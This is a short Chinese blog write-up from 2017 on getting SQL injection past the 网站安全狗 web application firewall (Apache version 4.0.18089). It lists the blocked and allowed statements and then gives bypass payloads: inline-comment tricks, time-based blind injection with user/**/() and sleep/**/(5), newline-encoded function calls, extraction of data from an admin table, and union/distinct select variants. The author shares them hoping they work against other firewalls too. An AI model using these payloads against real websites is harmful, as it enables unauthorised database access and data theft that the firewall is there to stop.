前言:作为团队最水的菜鸡,上周终于有时间搞搞自己的事了。本篇文章主要总结绕狗过程中遇到的各种姿势和坑,由于不是专业绕狗选手,希望各位大佬不要嘲笑。目前测试的版本为网站安全狗(apache版)4.0.18089,截止2017/09/25官网最新版
0x00 各种尝试
被拦语句
首先尝试了各种常用的payload,看看狗拦了哪些操作,发现如下语句会拦截:
and 1=1/and ‘a’=’a’类型
union select/union distinct select等
user()、database()等函数
…
放行语句
在上面尝试中发现如下语句未被拦截:
order by
select、union分开使用
and if
…
0x01 第一种思路
先尝试绕过and 1=1/and 'a'='a'
的限制
这里可以使用内联注释进行绕过: and /*!1*/=/*!1*/
即可绕过
接着我们尝试一下利用时间盲注来进行绕过,我们先尝试一下正常的语句:
‘ and if(substr(user(),1,1)=’r’,sleep(5),1)– -
这个语句肯定会被拦截,因为含有user()等敏感函数,那么怎么绕过呢,我们试试user/**/()这样的形式
‘ and if(substr(user/**/(),1,1)=’r’,sleep/**/(5),1)– -
这里安全狗没有拦截,网站响应时间是6s(没有sleep也有1s的响应,所以延时5s没有问题,虚拟机卡啊T_T)
后续尝试发现,user%0a()也是可以绕过的。
ps:这里提个问题,用这种形式的注入,如何注入到表中内容,暂时没有头绪,望大佬指教。
问题已解决(还是基础不扎实)。
可以使用and if(substr((select * from admin),1,1),1,0)这样的形式注入出数据
具体注入还有相关的坑需要绕过,这个大家可以自行研究,利用本文的方法是可以过的。
0x02 第二种思路
回到刚才的问题,没有更进一步获取数据,还是把目光聚焦在union select
的绕过。
这里试过很多坑,但还是把尝试过的payload发出来,说不定另外的waf能过呢,也包含了一些mysql的特性:
union /*!(select@1*/,2,3) //select后面可跟@,!,~,如select!1,select~1
union/**//**/(/*!select@1*/,2,3)
union/*!/**/*//*!(select@1*/,2,3)
…
后来发现怎么也绕不过去,然后查询资料发现union select等价于union distinct select
进行尝试,失败:
继续尝试,给distinct加内联注释,失败:
在distinct前面加上/**/,成功:
0x03 总结
思路比较混乱,还需了解更多的数据库特性,还有正则表达式,才能深入了解过waf的思路技巧。